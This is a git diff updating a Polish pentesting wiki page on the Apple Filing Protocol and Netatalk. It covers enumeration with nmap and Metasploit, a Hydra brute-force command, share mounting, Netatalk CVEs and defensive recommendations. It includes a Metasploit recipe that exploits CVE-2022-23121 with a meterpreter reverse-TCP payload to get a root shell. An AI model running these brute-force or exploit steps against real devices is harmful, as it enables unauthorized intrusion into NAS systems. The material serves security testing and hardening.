diff --git a/src/network-services-pentesting/584-pentesting-afp.md b/src/network-services-pentesting/584-pentesting-afp.md index 478f14b65..499151c09 100644 --- a/src/network-services-pentesting/584-pentesting-afp.md +++ b/src/network-services-pentesting/584-pentesting-afp.md @@ -4,27 +4,109 @@ ## Podstawowe informacje -**Apple Filing Protocol** (**AFP**), wcześniej znany jako AppleTalk Filing Protocol, to specjalizowany protokół sieciowy wchodzący w skład **Apple File Service** (**AFS**). Został zaprojektowany w celu zapewnienia usług plikowych dla macOS i klasycznego Mac OS. AFP wyróżnia się wsparciem dla nazw plików Unicode, uprawnień POSIX i list kontroli dostępu, forków zasobów, nazwanych atrybutów rozszerzonych oraz zaawansowanych mechanizmów blokowania plików. Był głównym protokołem dla usług plikowych w Mac OS 9 i wcześniejszych wersjach. +**Apple Filing Protocol** (**AFP**), dawniej znany jako AppleTalk Filing Protocol, to specjalizowany protokół sieciowy wchodzący w skład **Apple File Service** (**AFS**). Został zaprojektowany w celu zapewnienia usług plikowych dla macOS i klasycznego Mac OS. AFP wyróżnia się wsparciem dla nazw plików Unicode, uprawnień w stylu POSIX i ACL, forków zasobów, nazwanych atrybutów rozszerzonych oraz zaawansowanych mechanizmów blokowania plików. -**Domyślny port:** 548 +Chociaż AFP został zastąpiony przez SMB w nowoczesnych wersjach macOS (SMB jest domyślnym protokołem od OS X 10.9), nadal można go spotkać w: + +* Środowiskach legacy macOS / Mac OS 9 +* Urządzeniach NAS (QNAP, Synology, Western Digital, TrueNAS…), które zawierają otwartoźródłowy demon **Netatalk** +* Sieciach z mieszanymi systemami operacyjnymi, gdzie Time-Machine-over-AFP jest nadal włączone + +**Domyślny port TCP:** **548** (AFP przez TCP / DSI) ```bash -PORT STATE SERVICE -548/tcp open afp +PORT STATE SERVICE +548/tcp open afp ``` -### **Enumeracja** +--- -Do enumeracji usług AFP przydatne są następujące polecenia i skrypty: +## Enumeracja + +### Szybki baner / informacje o serwerze ```bash -msf> use auxiliary/scanner/afp/afp_server_info -nmap -sV --script "afp-* and not dos and not brute" -p +# Metasploit auxiliary +use auxiliary/scanner/afp/afp_server_info +run RHOSTS= + +# Nmap NSE +nmap -p 548 -sV --script "afp-* and not dos" ``` -**Skrypty i ich opisy:** +Przydatne skrypty NSE dla AFP: -- **afp-ls**: Ten skrypt jest używany do wylistowania dostępnych woluminów i plików AFP. -- **afp-path-vuln**: Wylistowuje wszystkie woluminy i pliki AFP, podkreślając potencjalne luki. -- **afp-serverinfo**: Dostarcza szczegółowych informacji o serwerze AFP. -- **afp-showmount**: Wylistowuje dostępne udostępnienia AFP wraz z ich odpowiednimi ACL. +| Skrypt | Co robi | +|--------|--------------| +| **afp-ls** | Wyświetla dostępne wolumeny i pliki AFP | +| **afp-brute** | Atak brute-force na hasło logowania AFP | +| **afp-serverinfo** | Wyciąga nazwę serwera, typ maszyny, wersję AFP, obsługiwane UAM-y itp. | +| **afp-showmount** | Wyświetla udostępnienia wraz z ich ACL-ami | +| **afp-path-vuln** | Wykrywa (i może wykorzystać) ataki typu directory-traversal, CVE-2010-0533 | -### [**Brute Force**](../generic-hacking/brute-force.md#afp) +Skrypt brute-force NSE można połączyć z Hydra/Medusa, jeśli wymagana jest większa kontrola: +```bash +hydra -L users.txt -P passwords.txt afp:// +``` +### Interacting with shares +*macOS* +```bash +# Finder → Go → "Connect to Server…" +# or from terminal +mkdir /Volumes/afp +mount_afp afp://USER:[email protected]/SHARE /Volumes/afp +``` +*Linux* (używając `afpfs-ng` ‑ pakowanego w większości dystrybucji) +```bash +apt install afpfs-ng +mkdir /mnt/afp +mount_afp afp://USER:[email protected]/SHARE /mnt/afp +# or interactive client +afp_client +``` +Po zamontowaniu pamiętaj, że klasyczne zasoby Maca są przechowywane jako ukryte pliki `._*` AppleDouble – często zawierają interesujące metadane, które narzędzia DFIR pomijają. + +--- + +## Powszechne podatności i eksploatacja + +### Netatalk nieautoryzowany łańcuch RCE (2022) + +Kilku dostawców NAS dostarczyło **Netatalk ≤3.1.12**. Brak sprawdzania granic w `parse_entries()` pozwala atakującemu na skonstruowanie złośliwego nagłówka **AppleDouble** i uzyskanie **zdalnego dostępu root** przed uwierzytelnieniem (**CVSS 9.8 – CVE-2022-23121**). Pełny opis od NCC Group z PoC wykorzystującym Western-Digital PR4100 jest dostępny. + +Metasploit (>= 6.3) zawiera moduł `exploit/linux/netatalk/parse_entries`, który dostarcza ładunek za pomocą DSI `WRITE`. +```bash +use exploit/linux/netatalk/parse_entries +set RHOSTS +set TARGET 0 # Automatic (Netatalk) +set PAYLOAD linux/x64/meterpreter_reverse_tcp +run +``` +Jeśli cel działa na podatnym firmware QNAP/Synology, udane wykorzystanie skutkuje uzyskaniem powłoki jako **root**. + +### Przepełnienie sterty OpenSession w Netatalk (2018) + +Starsze wersje Netatalk (3.0.0 - 3.1.11) są podatne na zapis poza zakresem w obsłudze **DSI OpenSession**, co pozwala na wykonanie nieautoryzowanego kodu (**CVE-2018-1160**). Szczegółowa analiza i PoC zostały opublikowane przez Tenable Research. + +### Inne istotne problemy + +* **CVE-2022-22995** – Przekierowanie symlinków prowadzące do zapisu dowolnych plików / RCE, gdy AppleDouble v2 jest włączone (3.1.0 - 3.1.17). +* **CVE-2010-0533** – Przechodzenie przez katalogi w Apple Mac OS X 10.6 AFP (wykryte przez `afp-path-vuln.nse`). +* Naprawiono wiele błędów związanych z bezpieczeństwem pamięci w **Netatalk 4.x (2024)** – zaleca się aktualizację zamiast łatania poszczególnych CVE. + +--- + +## Rekomendacje obronne + +1. **Wyłącz AFP**, chyba że jest to ściśle wymagane – użyj zamiast tego SMB3 lub NFS. +2. Jeśli AFP musi pozostać, **zaktualizuj Netatalk do ≥ 3.1.18 lub 4.x**, lub zastosuj firmware dostawcy, który wprowadza poprawki z lat 2022/2023/2024. +3. Wymuś **Silne UAM** (np. *DHX2*), wyłącz logowanie w czystym tekście i gości. +4. Ogranicz TCP 548 do zaufanych podsieci i umieść AFP w VPN, gdy jest wystawione zdalnie. +5. Okresowo skanuj za pomocą `nmap -p 548 --script afp-*` w CI/CD, aby wykryć nieautoryzowane / obniżone urządzenia. + +--- + +### [Brute-Force](../generic-hacking/brute-force.md#afp) + +## Referencje + +* Netatalk Security Advisory CVE-2022-23121 – "Wykonanie dowolnego kodu w parse_entries" +* Tenable Research – "Wykorzystywanie 18-letniego błędu (CVE-2018-1160)" {{#include ../banners/hacktricks-training.md}}